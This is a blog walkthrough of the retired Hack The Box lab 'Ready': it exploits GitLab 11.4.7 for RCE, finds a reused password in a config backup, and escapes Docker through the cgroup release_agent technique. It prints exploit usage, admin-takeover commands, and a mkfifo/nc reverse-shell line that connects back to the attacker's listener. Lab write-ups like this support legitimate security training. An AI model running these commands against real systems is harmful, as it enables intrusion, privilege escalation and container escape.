6 minute read Leia também em :brazil: Share

Hello guys!

This week’s machine will be Ready, another median-rated machine from Hack The Box, created by bertolis.

:information_source: Info: Write-ups for Hack The Box machines are posted as soon as they’re retired.

HTB Ready

This machine had a very interesting resolution, where we’ll exploit a vulnerable version of GitLab Server and then escape the docker container to obtain the root flag.


As usual, we start with a nmap quick scan, to identify the services currently published on this machine:

$ nmap -sC -sV -Pn -oA quick
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-27 12:05 -03
Nmap scan report for
Host is up (0.078s latency).
Not shown: 998 closed ports
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.65 seconds

5080/TCP - HTTP Service

As we can see in nmap output, a GitLab Server Community is running. Similar to Laboratory, proceeded with an account creation to have access to public repositories in this server that could help us proceed in this box.

After account creation, no repository was found but noticed that the running GitLab Server version was 11.4.7, as we can see in the image below.

Gitlab Version

Initial Foothold

After a quick search on searchsploit for the listed version, identified some available exploits that could be used.

$ searchsploit gitlab 11.4.7
------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                           |  Path
------------------------------------------------------------------------- ---------------------------------
GitLab 11.4.7 - RCE (Authenticated)                                      | ruby/webapps/49334.py
Gitlab 11.4.7 - Remote Code Execution                                    | ruby/webapps/49257.py
GitLab 11.4.7 - Remote Code Execution (Authenticated)                    | ruby/webapps/49263.py
------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Using the last result (49334.py), noticed that it didn’t allowed us to set the service port, which required some edit, as well as an issue in the payload generation, where was necessary to update the parameter local_port to local_port = args.P.

$ python3 49334.py -h                                                                
usage: 49334.py [-h] -u U -p P -g G -l L -P P

GitLab 11.4.7 RCE

optional arguments:
  -h, --help  show this help message and exit
  -u U        GitLab Username/Email
  -p P        Gitlab Password
  -g G        Gitlab URL (without port)
  -l L        reverse shell ip
  -P P        reverse shell port

Also, was necessary to change the payload used, once it wasn’t exporting the shell in nc session, preventing us from interacting with the machine.

After these changes, obtained a reverse shell as user git in the directory ~/gitlab-rails/working

User flag

After initial shell, started enumeration using linenum.sh, where the following details called attention:

  • App execution inside a docker container, being necessary to escape to the host later.

  • There’s a local user dude (id=1000), where the user flag user.txt resides in his home directory.

  • Obtained the GitLab Server credentials dump, where the user root is the only one with privileges, which has the password hash below:

    username e-mail admin hash
    root admin@example.com true $2a$10$zzun9kmrHMdwsJZKTmwn9OZddFjwrhbaXx3b2eb9l2g.1LrjZo0V2

Based on the information above, first thing tried was to check the required privileges to read user.txt, where we identified that git user had access, so we’ve collected it.

git@gitlab:/home/dude$ ls -la
total 24
drwxr-xr-x 2 dude dude 4096 Dec  7 16:58 .
drwxr-xr-x 1 root root 4096 Dec  2 10:45 ..
lrwxrwxrwx 1 root root    9 Dec  7 16:58 .bash_history -> /dev/null
-rw-r--r-- 1 dude dude  220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 dude dude 3771 Aug 31  2015 .bashrc
-rw-r--r-- 1 dude dude  655 May 16  2017 .profile
-r--r----- 1 dude git    33 Dec  2 10:46 user.txt
git@gitlab:/home/dude$ cat user.txt

Root flag

Next step would be obtaining the root credential to read the root.txt flag. As we had his password hash would be easy to crack it or search in internet but, as this task consumes lot of time and resources, decided to skip this for now as this hash wasn’t still publicly known.

During the enumeration, the information was also shared along with the credential dump:

If you have enough privileges, you can make an account under your control administrator by running: gitlab-rails runner ‘user = User.find_by(email: “youruser@example.com”); user.admin = TRUE; user.save!’ Alternatively, you could change the password of any user by running: gitlab-rails runner ‘user = User.find_by(email: “admin@example.com”); user.password = “pass_peass_pass”; user.password_confirmation = “pass_peass_pass”; user.save!’

Based on that, proceeded with the root account password reset as recommended, but no private repository or additional information was found, that could help us succeed on obtaining root’s credentials.

That said, decided to perform a manual enumeration and, looking for backups in the file system, found a directory /opt/backup/, that contained several files inside it.

Performing an grep search on it looking for passwords (passwd, password, pwd), found an entry that called attention on /opt/backup/gitlab.rb, as we can see in the output below, after removing commented and blank lines.

git@gitlab:/opt/backup$ cat /opt/backup/gitlab.rb | grep -Ev '^#|^$'
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"

With this credential, tested it for the user root and succeeded, but in root’s home path there was no root.txt, indicating that we’ll need to escape the container to obtain the root’s flag.

git@gitlab:/opt/backup$ su root
root@gitlab:/opt/backup# ls -la /root
total 28
drwx------ 1 root root 4096 Feb 27 13:24 .
drwxr-xr-x 1 root root 4096 Dec  1 12:41 ..
lrwxrwxrwx 1 root root    9 Dec  7 16:56 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 22  2015 .bashrc
drwxr-xr-x 2 root root 4096 Feb 27 13:24 .nano
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
drwx------ 2 root root 4096 Dec  7 16:49 .ssh
-rw------- 1 root root 1565 Dec 13 15:06 .viminfo

Escaping container

Once we have privileged access inside the container, if it is running under specific circunstancies, we can escape to the host as was very well documented in this blog post Understanding Docker container escapes | Trail of Bits Blog, found after some research in this scenario.

Following the step-by-step described on it, created a listener in 4443 TCP in attacker machine and executed the following steps using root privileges, obtaining this way a reverse shell.

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4443 >/tmp/f" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

In the received connection, confirmed that we were in the host running docker ps command and then obtained the root flag.

$ nc -lnvp 4443
listening on [any] 4443 ...
connect to [] from (UNKNOWN) [] 38246
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# docker ps
CONTAINER ID        IMAGE                          COMMAND             CREATED             STATUS                 PORTS                                   NAMES
7eb263389e5e        gitlab/gitlab-ce:11.4.7-ce.0   "/assets/wrapper"   2 months ago        Up 5 hours (healthy)   22/tcp, 443/tcp,>80/tcp   docker-gitlab_web_1
# cat /root/root.txt

I hope you guys have enjoyed.

See you in the next post! :smile: